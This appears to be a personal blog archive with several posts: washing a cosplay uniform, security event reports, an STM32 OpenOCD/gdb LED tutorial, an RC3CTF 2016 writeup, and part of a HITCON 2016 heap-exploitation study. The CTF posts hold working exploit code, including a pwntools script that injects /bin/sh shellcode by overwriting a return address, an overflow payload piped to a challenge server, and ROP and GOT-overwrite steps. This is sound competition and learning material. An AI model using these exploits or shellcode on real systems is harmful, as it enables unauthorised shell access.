星ノ海学園制服(女子冬服)をおうちクリーニングしてみた
これは 友利奈緒 Advent Calendar 2016 の16日目の記事です。
今日は、ACOSで買った星ノ海学園制服(女子冬服)をおうちでクリーニングしたよという話です。 洗濯表示的にはクリーニングに出したほうがいい代物ですが、 そっと洗えば大丈夫そうだったのでコスプレ衣装洗濯初心者ながら自己責任でやってみました。
前提
- シミなどの汚れはない
用意するもの
- エマールなどのおしゃれ着用洗剤(中性洗剤)
- 風呂桶
- 洗濯ネット
- 厚手のハンガー
- アイロンとアイロン台
- 洗濯ばさみ10個ぐらい
洗濯表示
家庭科の授業で習ったとおりに、まず洗濯表示を確認します。 それによると、
- 組成はポリエステル100%
- 「家庭での洗濯禁止」(ただし条件付きで洗濯可能)
- 「塩素系漂白剤による漂白が出来ません」
- 「底面温度 150℃を限度としてアイロン仕上げ処理ができる。」かつ「あて布が必要」
- 「ドライクリーニングが出来ます。溶剤はパークロルエチレンまたは石油系のものを使って下さい。」
ポリエステルなので、シワになりにくいはずですが、水洗いできないというのは謎でした。 が、後で思えば色落ちが著しいという理由なのかもしれません。
本当はここで目立たないところに洗剤の原液を付けて色落ちしないかをチェックするところですが、色落ちすることは自明なのでスキップです。
手洗い
風呂桶の中にぬるま湯と適量のエマールを入れて、押し洗いで洗いました。 色落ちを洗った後の水の色で判断するならば、
- セーラー服の上の方は少し水が赤くなったねというくらいで許容範囲
- スカートの方は大丈夫かってくらいに水が茶色くなった
という感じです。他の衣服と一緒に洗いたくないやつですね。
水ですすいでから次は乾燥です。
乾燥
洗濯機にネットに入れて軽く脱水させて、厚手のハンガーで乾燥させる感じの適当さです。 シワになるのが嫌なので雑巾絞りはしてないです。
乾燥後に色落ちをチェックしましたが、白のラインに色が付いていたり、色ムラがあったりはしませんでした。大丈夫そうです。
アイロンがけ
あいにく制服のアイロンがけはしたことがありません。 温度を「中」にして、下の動画を参考にしながらアイロンを浮かせながらスチームをかけたり、あて布をしながらアイロンを掛けたりしましたが、 下手くそ過ぎて小さいシワが残ってしまいました。なので仕上がりの写真は載せられません!
あとがき:次回があったときに試したいこと
- 水洗い時に色落ちを少なくするには水に塩を溶かすといいらしい
- 塩を水に溶かすと、水の残りの溶解度が小さくなることを利用するらしい
- バスタオルでロールケーキのようにくるむと型崩れしにくい。これはロングウィッグにも有効(ソース)
クリーニング(洗濯)は大事ですよ〜。みなさん、ちゃんと洗濯してますか?
金沢ミニキャンパーに人気のTomoriNaoシールのお話
友利奈緒 Advent Calendar 2016 の4日目の記事です。 空いてたので突っ込んでおきますね。
セキュリティ・ミニキャンプ in 北陸 2016(金沢)が12月3日(土)、4日(日)に開催されました。
ア!w
TomoriNaoのTomoriNaoなのでTomoriNaoシールをお配りました。 お昼休憩にこそっとシールを渡していたら、あちこちからミニキャンパーがシールくれくれと押し寄せてきました。 まるで餌に群がる鳩のような光景です。とさいぬくん(@myon___)にも布教用に数枚渡したので、手元にあった20枚ぐらいのシールが残り数枚になりました。 今ピンチです。
喜びの声を集めました。
TomoriNao pic.twitter.com/TcZH9mFJTA
— とさいぬ (@myon___) December 3, 2016
憧れの友利奈緒ステッカーゲット! pic.twitter.com/pcA6APHAVJ
— ???@9/16迄東京生活 (@Tothenewfuture) December 4, 2016
そういえば友利奈緒ステッカー頂いた。
— よしやま(Yoshiyama) (@yopiyama0824) December 4, 2016
感謝🙏#seccamp pic.twitter.com/v2qhuKBRWS
TomoriNaoシールは販売予定ですが、「早く販売して♥」(←ハート必要)とうちのリーダーに催促した方がいいかな。
【12/6追記】販売中でした。すみません
TomorNaoのメンバーが持っていたりするので、オフラインのイベントで会ったらくださいと言うのもありです。
TomoriNaoシールは100枚くらい在庫あるやで
— 【TomoriNao】しふくろ (@shift_crops) December 5, 2016
TomoriNaoシールのパロディネタを思いついたので作ろうかな、なんつって、ガハハ
NEC Cyber Security Tech Session に行ってきたヾノ*>ㅅ<)ノシ
2016年11月26日(土)にNECのトレーニングルームでNEC Cyber Security Tech Sessionが開催され、そこに参加してきました。
イベント公開日の午前中にTwitterに情報が流れて「どうせ東京でしょ」と一回スルーして、あとで日付が26日であることが分かって慌てて参加登録しました。 そのときは補欠でしたが、前日には心優しい(?)キャンセルのおかげで参加できるようになりました(ありがたや~)。
ATNDにある通り、勉強会の体で複数のセキュリティソフトがそれぞれ別にインストールされた環境に検体をぶち込んで遊ぼうぜwというものです。
何かの売り込みがある商用臭いイベントじゃないので不快感がなく、良かったと思います。
参加者層は業界人:学生=3:1くらいでいい感じでした。学生がやたら多いと就活臭くなってしまいすからねー。
# 個人的には、そんなイベントじゃないのに学生がスーツで参加するのはやめちくりという感じ
大量に捕獲したマルウェアを食べて生きているんじゃないの?という人もちらほらいていいっすね👍
懇親会でアルコール提供があるというだけで年齢制限があるイベント(←未成年でも参加したがっていたプロがいたので改善余地あり)でしたが、受付には怖い人はいませんでしたw
(T2 SHIBUYA恐ろしや~)
そんなことよりも驚いたのは、受付の人に「友利奈緒ちゃん」とバレてたことですねwどこで知ったんでしょうかね…
[勉強会中のできごとは残念ながらNDAにより検閲] # とりあえずお水ありがとうございます
上の写真は懇親会のときの写真です。場所は同じ会場です。 オードブルといろんなお酒とソフトドリンクが置かれました。困ったことに紙製のトングが食べ物をつかみにくいという残念な感じでした😇 勉強会セッションでは静かでしたが、お酒が入ってみんなわいわいという感じで、僕もいろんな方とそのひとの近況とかを話せて良かったです。 この場でも「軽い気持ちで書いたあの文書」読みましたという方が現れました。激中途半端で申し訳ないです、当文書は今でもご意見募集していますー。
そうしているうちに、あっという間に18時なってしまいました><
僕も二次会に参加したかったんですが、名古屋に帰らねばならなかったのでここで退散です><
どんな二次会だったんだろうー?
NECのみなさんありがとうございました。
NECがセキュリティを頑張っていることは勉強会開くなどしてどんどん"それとなく"アピールしていって欲しいと思います👍(失礼な物言いですが、数か月前までは知らなかったもので…)
次回開催を期待しつつ、でわ✋
RC3CTF 2016 Writeup
# 運営がwrtieup読みてぇって書いていたから英語で書くよ (broken English sorry!)
I joined in RC3CTF 2016 (from 2016/11/19 to 20; 48 hours online CTF, Format: Jeopardy) as a member of Ping-Mic to welcome a new team member.
We got 1540 points and ended in 147-th place.
I solved following challenges:
- All Trivias (writeups are omitted)
- Who’s a good boy? - web 100
- Graphic Design - for 200
- IMS easy - pwn 150
- Fensepost - pwn 150
- Logmein - rev 100
- *FLE - rev 200 (after contest is over)
This blog post is writeups for those challenges.
- Who’s a good boy? - web 100
- Graphic Design - for 200
- IMS easy - pwn 150
- Fencepost - pwn 150
- Logmein - rev 100
- FLE - rev 200
Who’s a good boy? - web 100
Just check the content of stylesheet (css file).
https://ctf.rc3.club:3000/doge.css
/*hiya*/ /*compress your frontend*/ /*here's a flag :)*/ flag:RC3-2016-CanineSS
Graphic Design - for 200
I saw # Blender v2.78 (sub 0) OBJ File:
at the first line of obj file.
I googled and found that obj file is a model data that can be loaded in Blender (one of CG software).
After Blender has imported obj file, I got following scene:
Is there only a dynasaw? No, there’s a suspicious model:
I made dynasaw invisible and made suspious model visible, then I got flag!!
IMS easy - pwn 150
IMS holds records in stack and we can see stack and corrupt it.
C source code of IMS-easy may be like:
// .bss int* index; // 0x80f0f9c struct RECORD { // 12 bytes char product_code[8]; // 8 bytes int product_id; // 4 bytes } void print_menu(void) { _IO_puts("================================================"); _IO_printf("|RC3 Inventory Management System (public %s)|\n", "alpha"); _IO_puts("================================================"); _IO_puts("1. Add record"); _IO_puts("2. Delete record"); _IO_puts("3. View record"); _IO_puts("4. Quit"); _IO_printf("Choose: ", "alpha"); return; } int process_choice(int* arg0, int* index) { char buf[]: // ebp-0x24 int user_index; // ebp-0x18 int i; // ebp-0xC _IO_fgets(buf, 0xc, stdin); // upto 12 chars stack[2034] = 0x0; eax = strtol(buf, stack[2034], 0xa); // eax = eax; if (eax == 0x2) { // delete _IO_printf("Enter index to delete: ", stack[2034]); _IO_fgets(buf, 0xc, stdin); user_index = strtoul(buf, 0x0, 0xa); if ((user_index >= 0x0) && (*index > user_index)) { for (i = user_index + 0x1; i < *index; i++) { memcpy(arg0 + (i + i + i << 0x2) + 0xfffffff4, (i + i + i << 0x2) + arg0, 0xc); } *index -= 1; } else { _IO_puts("That record does not exist"); } return 0; } else if (eax == 0x1) { // register _IO_printf("Enter product ID: ", 0xa); _IO_fgets(buf, 0xc, stdin); // up to 12 chars eax = *index; *(0x8 + (eax + eax + eax << 0x2) + arg0) = strtoul(buf, 0x0, 0xa); _IO_printf("Enter product code: ", 0x0); _IO_fgets(buf, 0xc, stdin); // up to 12 chars var_14 = sub_80482c0(); // @plt if (var_14 != 0x0) { *(int8_t *)var_14 = 0x0; } eax = *index; sub_8048260(); *index += 0x1; return 0; } else if (eax == 0x3) { // view _IO_printf("Enter the index of the product you wish to view: ", stack[2034]); _IO_fgets(buf, 0xc, stdin); user_index = strtol(buf, 0x0, 0xa); eax = *(0x8 + arg0 + (user_index + user_index + user_index << 0x2)); // information leak _IO_printf("Product ID: %d, Product Code: ", eax); fwrite(arg0 + (user_index + user_index + user_index << 0x2), 0x8, 0x1, stdout); // information leak fflush(stdout); return 0; } else { return 0x1; } } int main(void) { RECORD* records[N]; // esp+0x1c esp = (esp & 0xfffffff0) - 0x60; setbuf(stdout, 0x0); sub_8048290(); // sub_8048290@plt do { print_menu(); if (process_choice(records, index) != 0x0) { break; } _IO_printf("There are %d records in the IMS\n\n", *index); } while (true); return 0x0; }
To obtain shell, I did:
- write shellcode in records since NX bit is disabled
- overwrite return address to address of shellcode (records)
this is exploit code to get shell (very dirty, sorry):
from pwn import * from sys import argv # context.log_level = 'debug' BIN = "./IMS-easy" ## NOT WORKS!! ## http://shell-storm.org/shellcode/files/shellcode-585.php (25 bytes) ## shellcode = "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" # ## http://shell-storm.org/shellcode/files/shellcode-827.php (23 bytes) ## shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # http://shell-storm.org/shellcode/files/shellcode-811.php (28 bytes) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" LOCAL = True def bp(): if LOCAL: raw_input("break point: ") e = ELF(BIN) if len(argv) > 1 and argv[1] == "r": LOCAL = False r = remote("ims.ctf.rc3.club", 7777) else: r = process(BIN) """ 1. Add record 2. Delete record 3. View record 4. Quit """ def add(product_id, product_code): r.sendline('1') r.sendline(product_id) r.sendline(product_code) def delete(index): r.sendline('2') r.sendline(index) def view(index): r.sendline('3') r.sendline(index) def quit(): r.sendline('4') def wait_for_choice(): r.recvuntil("Choose: ") def parse_view(): res = r.recvuntil("the IMS\n") # print res m = re.findall("Product ID: (\d+), Product Code: ([\x00-\xff]{8})There are \d+ records in the IMS", res) if m == None: log.error("view response error") _id, _code = m[0] return int(_id), u32(_code[4:8]), u32(_code[0:4]) DIG_INDEX = 7 # print "---------" # for i in range(DIG_INDEX): # wait_for_choice() # view(str(i)) # print "%#x, %#x, %#x" % parse_view() # print "---------" """ 0020| 0xffdfc7ac ("BBBBBBBB") 0024| 0xffdfc7b0 ("BBBB") 0028| 0xffdfc7b4 --> 0x0 0032| 0xffdfc7b8 ("BBBBBBBB\001") 0036| 0xffdfc7bc ("BBBB\001") 0040| 0xffdfc7c0 --> 0x1 0044| 0xffdfc7c4 --> 0x0 0048| 0xffdfc7c8 --> 0x0 0052| 0xffdfc7cc --> 0x0 0056| 0xffdfc7d0 --> 0x0 0060| 0xffdfc7d4 --> 0x0 0064| 0xffdfc7d8 --> 0x0 0068| 0xffdfc7dc --> 0x0 0072| 0xffdfc7e0 --> 0x0 0076| 0xffdfc7e4 --> 0x0 0080| 0xffdfc7e8 --> 0xffdfc88c --> 0xffdfd671 ("LC_MEASUREMENT=en_US.UTF-8") """ wait_for_choice() view("5") _, _, records_ptr = parse_view() records_ptr -= 0xe0 log.info("records = %#x" % records_ptr) """ 0056| 0xffa7da80 ("BBBBBBBB\003") 0060| 0xffa7da84 ("BBBB\003") 0064| 0xffa7da88 --> 0x3 """ # 0 wait_for_choice() add(str(u32(shellcode[8:12])), shellcode[0:8]) # 1 wait_for_choice() add(str(u32(shellcode[20:24])), shellcode[12:20]) # 2 wait_for_choice() add(str(0x114514), shellcode[24:28].ljust(8, '\x90')) # add(str(0x114514), "\x90"*8) for i in range(3): wait_for_choice() add(str(0x90909090), "\x90"*8) # nop sled # 6 (overwrite return address) wait_for_choice() add(str(records_ptr), "A"*8) bp() # print "---------" # for i in range(DIG_INDEX): # wait_for_choice() # view(str(i)) # print "%#x, %#x, %#x" % parse_view() # print "---------" wait_for_choice() quit() # trigger shellcode!! r.interactive()
[katc@K_atc IMS-easy]$ python2 IMS-easy.py r [*] Stack is executable! [+] Opening connection to ims.ctf.rc3.club on port 7777: Done [*] records = 0xffb31b1c [*] Switching to interactive mode $ ls /home IMS-easy IMS-hard ubuntu $ cd /home/IMS-easy $ ls IMS-easy flag.txt $ cat flag.txt RC3-2016-REC0RDZ-G0T-R3KT
Fencepost - pwn 150
C source code of fencepost may like:
void congratz(void) { puts("Good job! Run on the server to get the actual flag."); return; } int main(void) { int var_4; // rbp-4 char[] user_input; // rbp-48 var_4 = 0xffffffff; puts("=== Welcome to the RC3 Secure CTF Login ==="); puts("=== Please enter the correct password below ==="); do { printf("Password: "); __isoc99_scanf("%s", user_input); rax = strlen(user_input); rax = rax + 0x1; user_input[rax] = '\0'; if ([rbp-0x4] == 0x0) { break; } rax = strcmp(user_input, "not-the-real-pass"); } while (rax != 0x0); if (var_4 == 0x0) { rax = congratz(); } return rax; }
We have to:
- overwrite [rbp-4] to be 0
BOF is enough to overwrite variables value on stack. Since I didn’t know scanf takes NULL bytes, I thought it’s hard problem, but it’s very simple.
To get flag:
tc@K_atc fencepost]$ echo -e "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb\0\0\0\0\0\0\0\0" > payload [katc@K_atc fencepost]$ cat payload - | nc 52.71.70.98 2091 === Welcome to the RC3 Secure CTF Login === === Please enter the correct password below === Password: RC3-2016-STACKPWN
Logmein - rev 100
Just use angr. find address is 0x4007f0 (congratz
), avoid address is 0x4007c0 (incollect
).
I used Hopper plugin I developed.
it took several seconds.
[*] bin path = /home/katc/Dropbox/CTF/rc3-fall-2016/logmein/logmein found #avoid at 0x4007c0 found #find at 0x4007f0 finds = 0x4007f0 avoids = 0x4007c0 [*] executing angr script ==== [angr] ==== [*] angr exploring... [*] found: stdin = 'RC3-2016-XORISGUD\x00\x80\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01' ==== [angr:stderr] ==== /usr/lib/python2.7/site-packages/pyvex/block.py:75: UserWarning: implicit cast from 'char *' to a different pointer type: will be forbidden in the future (check that the types are as you expect; use an explicit ffi.cast() if they are correct) 1) ================ [*] solve done
FLE - rev 200
Hint says “Try reversing it.” but I reversed (= decompiled) all things. but I got wrong flag:RC3-NOT-THE-FLAG-YOURE-LOOKING-FOR
.
irc says just reverse it to get flag:
[04:17] <pwn3rs> any hints on rev 200 fle? [04:17] <READY4THESCHWIFT> RE IT [04:17] <wumb0> no [04:17] <wumb0> reverse it [04:18] <ducphan> lol fencepost changed category [04:18] <pwn3rs> reversed it in ida [04:18] <StatesideCash> yes [04:18] <pwn3rs> found the bad flag [04:18] <pwn3rs> and there is something in overlay [04:19] <magu> dont spoil
So what? …Oh, reverse
means reverse some strings?! But I didn’t think I need to reverse ELF file and replace first 4 bytes FLAG
with \x7fELF
.
FLEのからくり(バイナリを[::-1]して先頭4バイトを"\x7fELF"にする)を見つけたときのふるかわプロの反応が面白かった
— しゃろ (@Charo_IT) November 21, 2016
following part is checking user input routine:
080480ae add ecx, eax 080480b0 inc ecx 080480b1 mov byte [ds:ecx], 0x0 080480b4 mov esi, esp 080480b6 call 0x80480bb 080480bb pop ecx ; XREF=_start+42 080480bc sub ecx, 0xbb 080480c2 push ecx 080480c3 push 0x0 080480c5 push 0x0 080480c7 mov eax, dword [ds:ecx+0x1d02] 080480cd bswap eax 080480cf push eax 080480d0 mov eax, dword [ds:ecx+0x1cfa] 080480d6 bswap eax 080480d8 push eax 080480d9 mov eax, dword [ds:ecx+0x1dd1] 080480df bswap eax 080480e1 push eax 080480e2 mov eax, dword [ds:ecx+0x1bc7] 080480e8 bswap eax 080480ea push eax 080480eb mov eax, dword [ds:ecx+0x148a] 080480f1 bswap eax 080480f3 push eax 080480f4 mov eax, dword [ds:ecx+0x1482] 080480fa bswap eax 080480fc push eax 080480fd mov eax, dword [ds:ecx+0x147a] 08048103 bswap eax 08048105 push eax 08048106 mov eax, dword [ds:ecx+0x1dc1] 0804810c bswap eax 0804810e push eax 0804810f mov eax, dword [ds:ecx+0x1bc2] 08048115 bswap eax 08048117 push eax 08048118 mov eax, esp 0804811a dec ebx 0804811b xor ecx, ecx 0804811d cmp ecx, ebx ; XREF=_start+163 0804811f jge 0x8048131 08048121 mov dl, byte [ds:eax] ; *cipher 08048123 xor dl, byte [ds:esi+ecx] ; user_input[ecx] 08048126 mov byte [ds:esi+ecx], dl 08048129 add eax, 0x1 0804812c add ecx, 0x1 0804812f jmp 0x804811d 08048131 add esp, 0x2c ; XREF=_start+147 08048134 pop ecx 08048135 lea edi, dword [ds:ecx+0x1bcc] 0804813b mov ecx, ebx 0804813d dec ecx 0804813e mov esi, esp 08048140 call calc_checksum 08048145 test eax, eax 08048147 jne avoid_0x804815a
It’s hard to analyze statically, so I carried out dynamic analysis with gdb and I could calculate real flag following python script:
# set break point at 0x08048118,in gdb, and see *$esp good_known1 = "ahJd\024\032G\031\003r6\bl\033.jl\032UghvFd{\035P\177gc\022\005a\005" # set break point at 0x08048140 in gdb, and see *$edi # $edi = 0x8049bcc good_known2 = "3+yI&*v/.+sI$6j+8Ix%-\"\022!)0\022\060.*\022W\"6" flag = ''.join([chr(ord(x) ^ ord(y)) for x, y in zip(good_known1, good_known2)]) print flag
the result is:
""" [katc@K_atc fle]$ python2 fle-solved.py RC3-2016-YEAH-DATS-BETTER-BOIIRC3 """
I (we) usually participate in non-bigginer contests and I felt unsatisfactory, but I think it’s good a measure to get used to SECCON online CTF.
In “IMS hard”, I got to get shell locally (Ubuntu 14.04LTS), but it didn’t work corretly against remote server. What went wrong…? (It seemed Ubuntu’s prebuild libc is working on the server insted of customised libc:()
STM32F7 Discovery でOpenOCD+gdbによるLチカ
近いうちにOpenOCDを使う用件があるので、練習のためにSTM32F7 Discoveryで遊んでみました。 初心者向けに書きましたが、執筆時間の時間の都合で以下の事項は既習としてます。
静電容量式のタッチディスプレイやSDカードスロット、オーディオI/Fなどがついてて8000円と良心的な値段設定です。
僕の手元にあるものは、ETという展示会(宇宙人はいませんが、昨年はR2-D2がいました?!)でSTマイクロエレクトロニクスのワークショップ的なものに参加してもらったものです。
来月にETやりますし、きっと似たような方法でもらえるかもしれません。
# ワークショップは有償開発環境の1日限定ライセンスのもとで実施されました
デバッグポートはST-Linkというもので、なんとUSBケーブル一本でデバッグできちゃいます。 組み込み特有のジャンパーコードやらきしめんみたいなリボンケーブルが必要ありません。 経済的で、初心者に優しいですね! 同じボードを用意できない場合は、Nucleoというボードが3000円くらいなので、そちらの方がお求めやすいかもしれません。
本エントリーでは、OpenOCDというデバッグ環境を用意した後、OpenOCDでターゲット(デバックするボードのこと)に接続し、 gdbでOpenOCDにアタッチし、手動でLチカするという内容でお送りします。
OpenOCDのビルド
詳細はそこまで知りませんが、OpenOCDはOpen On-Chip-Debuggerの略で、 JTAGデバッガなどを通じて、ホストPCからCPUが入っているマイコンに直接命令できるようなシステムです。 組み込み開発で有償開発環境(IAR Embedded Workbenchとか)を用意できない場合、gdbと合わせて使われるソフトウェアとして名前が上がるような代物です。 はじめに書きますが、100%ちゃんと動くことを期待しちゃダメです。気楽に使いましょう。
OpenOCDのビルドは比較的簡単です。 ダウンロード先はsourceforgeとgit(github)の2通りあります。 基本的にどちらでも良いですが、githubに上がっている方が良いかもしれません。 というのも、OpenOCDではJTAGデバッガやターゲットの設定を書いたスクリプトファイル(cfgファイル)が付属しているのですが、 github版のほうがそのファイルが豊富です。
OpenOCDのビルドは、基本的なビルド環境が揃っていることを前提に、以下のパッケージを必要とします。 ビルド前にaptとかで入れてください。
- pkg-config
- libusb-1.0*
さらに、gccのバージョンが重要で、4系でmakeが通ります。
色々考えるのが面倒なので、僕はVMのREMNuxでmake&&make install
してから、ホストにインストールしました。
以下は、ダウンロード済みのソースをビルドするためのコマンドです。
./bootstrap # git版のみ必要。configureが生成される ./configure --enable-ftdi # ftdiチップ関連の機能を有効にする ### configureにより、ftdiの項目がyesになっていることを確認する make -j4 sudo make install
OpenOCDでターゲットに接続
OpenOCDでは、コマンドラインオプション-f
で、ターゲットやハードウェアの方のデバッガに対応したcfgファイルを与えねばなりません。
バージョン0.9時点では、それらはtclというディレクトリの中に入っています。
注意すべきことは、-f
で与えたパスが深すぎると依存関係を解決出ないという理由でエラーが出ます。
以下のように、-s
オプションでベースディレクトリを教えるとうまく動いてくれます。
(まあカレントディレクトリにcfgをコピるのが一番楽ですがね)
root権限のあるシェルで実行しないと Error: libusb_open() failed with LIBUSB_ERROR_ACCESS
と出て動きません
openocd -s tcl -f board/stm32f7discovery.cfg
うまく接続するとこんな感じになります。
[root@K_atc openocd-git]# openocd -s tcl -f board/stm32f7discovery.cfg Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD adapter speed: 2000 kHz adapter_nsrst_delay: 100 srst_only separate srst_nogate srst_open_drain connect_deassert_srst Info : Unable to match requested speed 2000 kHz, using 1800 kHz Info : Unable to match requested speed 2000 kHz, using 1800 kHz Info : clock speed 1800 kHz Info : STLINK v2 JTAG v28 API v2 SWIM v16 VID 0x0483 PID 0x374B Info : using stlink api v2 Info : Target voltage: 3.201043 Warn : Silicon bug: single stepping will enter pending exception handler! Info : stm32f7x.cpu: hardware has 8 breakpoints, 4 watchpoints
gdb起動
arm版のgdbを忘れずに用意します。
arm-none-eabi-gdb
あたりがパッケージマネージャー使えば入るはずです。
OpenOCDがlocalhostの3333版ポートでgdbからのアタッチを待っています。
target remote :3333
で会いに行きましょう〜
# -x
は今は無視で
[katc@K_atc jtag]$ arm-none-eabi-gdb -q -x stm32f7.gdb /home/katc/.gdbinit:1: Error in sourced command file: future__ import absolute_import:8: Error in sourced command file: Undefined command: "from". Try "help". 0x00000000 in ?? () (gdb) target remote :3333 Remote debugging using :3333 0x00000000 in ?? () (gdb) monitor targets TargetName Type Endian TapName State -- ------------------ ---------- ------ ------------------ ------------ 0* stm32f7x.cpu hla_target little stm32f7x.cpu running (gdb)
手動Lチカ
gdbを使ってLチカさせていきましょう。
[datasheet]のBlock Diagramと[manual]を見ると、LD1というLEDがPI1に、PI1はGPIOI[1]につながっていることが分かります。
# このボードはArduinoのシールドとしても使えるらしいです。LD1はArduinoから操作することを考慮しているように見えますね。
[datasheet]を見ると、GPIOIはメモリアドレス0x4002 2000 ~ 0x4002 2fffにマッピングされており、 [2]によると、0x40022000をベースアドレスとして、オフセット0にGPIOIのモードを変更するレジスタ(MODER)と、オフセット0x14に出力値を入れるレジスタ(ODR)があることが分かります。
GPIOでは、ポートで外部入力を期待するのか外部出力するのか、またはその他(めいんどいので省略)なのかを特定のレジスタに教えることになります。 今回はそのレジスタはこのMODERというレジスタです。 [2]によると、今回はLEDを操作したいのでポートは出力モードで、そのためにはGPIOI[1]のモード設定でMODERの[3:2](2ビットから3ビット)を1にすれば良いことが分かります。
[2]を見る限り、とりまPI1に1を送るにはODR[1]に1をセットすれば良さそうです(←プルアップされているかどうかで話が変わりうる。結果としては1がLEDのONを意味する)
([2]にプルアップやプルダウンの文字がありますが、見なかったことにします。 0か1でLEDが点く話ですからね。)
以上より、LEDに関する初期化とLEDをon/offするコード、果てはLチカするユーザー関数のコードは次のgdbスクリプトに落ち着きます。
(ついでに、アタッチとターゲットのリセットを行います)
target remote :3333 monitor reset ### wait for target shell sleep 2 set $GPIOI=0x40022000 set $GPIOI_MODER=$GPIOI+0x0 set $GPIOI_ODR=$GPIOI+0x14 ### init led port # MODER[2:3] = 2 (General purpose output mode) set *(int *)$GPIOI_MODER=*$GPIOI_MODER|0x4 def -ld1-on # ODR[1] = High set *(int *)$GPIOI_ODR=*$GPIOI_ODR|1<<1 end def -ld1-off # ODR[1] = Low set *(int *)$GPIOI_ODR=*$GPIOI_ODR&~(1<<1) end def -LD1 printf "SIGINT (Ctrl+C) to quit..." while(1) -ld1-on shell sleep 0.5 -ld1-off shell sleep 0.5 end end
Lチカコマンドこと-LD1
を実行すると無限ループの中で0.5秒毎にLD1が明滅します。おわり
[katc@K_atc jtag]$ arm-none-eabi-gdb -q -x stm32f7.gdb /home/katc/.gdbinit:1: Error in sourced command file: future__ import absolute_import:8: Error in sourced command file: Undefined command: "from". Try "help". 0x00000000 in ?? () (gdb) -LD1 SIGINT (Ctrl+C) to quit...^CQuit (gdb)
おまけ:OpenOCDのこんなときは
ターゲットをリセットしたい
ボードのリセットボタンを押すか、gdb(3333番ポート)からmonitor reset
を送るか、telnet/nc(4444番ポート)からreset
を送ります。
ターゲットをhaltしたい。haltをrunningに戻したい
gdbでの方法の説明に絞ります。
halt
にするとき:monitor halt
running
に戻したいとき: monitor reset run
(gdb) monitor halt stm32f7x.cpu: target state: halted target halted due to debug-request, current mode: Thread xPSR: 0x61000000 pc: 0x0803981c psp: 0x20007658 (gdb) monitor targets TargetName Type Endian TapName State -- ------------------ ---------- ------ ------------------ ------------ 0* stm32f7x.cpu hla_target little stm32f7x.cpu halted (gdb) monitor reset run (gdb) monitor targets TargetName Type Endian TapName State -- ------------------ ---------- ------ ------------------ ------------ 0* stm32f7x.cpu hla_target little stm32f7x.cpu running
# monitor reset run
だと一回リセットが入るみたいだし、haltから再開する方法は無いのかな?
参考文献
- [datasheet] STM32F7 Datasheet
- [manual] Discovery kit for STM32F7 Series with STM32F746NG MCU User Manual
- [1] STM32F7 Discovery の開発環境 (2)
- [2] Understanding the STM32F0's GPIO part 1
ところで抵抗とコンデンサとLEDをラベルを見ずに外見だけで見分けるいい方法無いですかね…
CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 後編
前編の続きです。Unlink Attackにより、任意アドレスの内容を書き換えられるようになりました。
いよいよ後編はGOT Overwriteからシェル起動までを行います。
解法が二種類あるので分けて書きます。 ぶっちゃけROPは初めてなので誤った説明があったらコメント欄などで指摘しちゃってください。
解法1(Stack SmashingからのROP作戦)
しふくろくん方式です。
GOT overwrite & information leak
ROPによりシェル起動を目標にします。 この状況に至るための条件は次の通りです。
- systemのオフセットアドレスが分かっている(or libcを同定できている)
- libcのベースアドレスが分かっている
- stack smashingによりリターンアドレスの書き換えが可能(
gets()
相当のgadgetが必要) __stack_chk_fail()
の呼出しによりexit()
されない- ROPで関数を呼出したときに第一引数をスタックからセットできる(
pop rdi; ret;
なgadgetが存在する)
それぞれの条件を満たす方法を順に説明します。
条件1(libcの同定とsystemのオフセットアドレス)
条件1は__libc_start_main()
のアドレスからオフセットの下位1バイトが分かり、
サーバーのOSはどのpwnの問題でも一緒じゃないのという山勘で他の問題のlibcを見ればsystemのオフセットが分かっちゃったりします。
今回もそうだったみたいですが、
今はローカルでやってるので僕のLinuxのlibcでの話になります。
まずlibcの同定をします。
同定の手順は次の通りです(一応説明)。
libcのデータベースはlibcdb.comを久しぶりに使おうと思いましたが、古いみたいのので却下して、
niklasb/libc-database を使いました。
# ローカルはUbuntuでなく、(CTFのサーバーで採用されない、libc-databaseでも./get
されない)Archi Linuxのlibcなので./add /usr/lib/libc-2.24.so
してあります
- libcの2つの関数のアドレスを明らかにする
- libc-databaseに1の結果を入れて検索
- ヒットしたら勝ち!
やるだけですね。どの2つの関数にするのかの問題はありますが、今回は__libc_start_main
とread
をターゲットにします。
スクリプトは最後に添付します。結果はこうなりました。
[katc@K_atc SecretHolder]$ python2 SecretHolder-libc.py [+] Started program './SecretHolder.patched' __libc_start_main = 0x7efdf89ba1a0 read = 0x7efdf8a754c0 [*] libc address inspection done [*] Stopped program './SecretHolder.patched'
はい検索(出来レース)。
% ./find __libc_start_main 1a0 read 4c0 (master *=) /usr/lib/libc-2.24.so (id local-be8674d37e98b454154e94b989aa08f18611bafd)
最後にsystem
と/bin/sh
のオフセットアドレスも調べておきます。
[katc@K_atc SecretHolder]$ readelf -s /usr/lib/libc.so.6 | grep " system$" 5821: 000000000003f4d0 45 FUNC WEAK DEFAULT 13 system [katc@K_atc SecretHolder]$ readelf -s /usr/lib/libc.so.6 | grep start_main 2120: 00000000000201a0 458 FUNC GLOBAL DEFAULT 13 __libc_start_main@@GLIBC_2.2.5 6322: 00000000000201a0 458 FUNC GLOBAL DEFAULT 13 __libc_start_main [katc@K_atc SecretHolder]$ strings -tx /usr/lib/libc.so.6 | grep /bin/sh$ 161359 /bin/sh
systemと/bin/shのオフセットアドレスはそれぞれ0x3f4d0、0x161359であることが分かりました。
条件2(libcのベースアドレス)
条件2はオフセットが分かっているlibcの関数のGOTに入っている値を読み取れば、引き算でlibcのベースアドレスが分かるので条件を満たせます。
条件3(リターンアドレス書き換え)
条件3はgets()相当の関数を探せばいいだけです。アドレス0x4009f9からのgadgetが使えそうです。
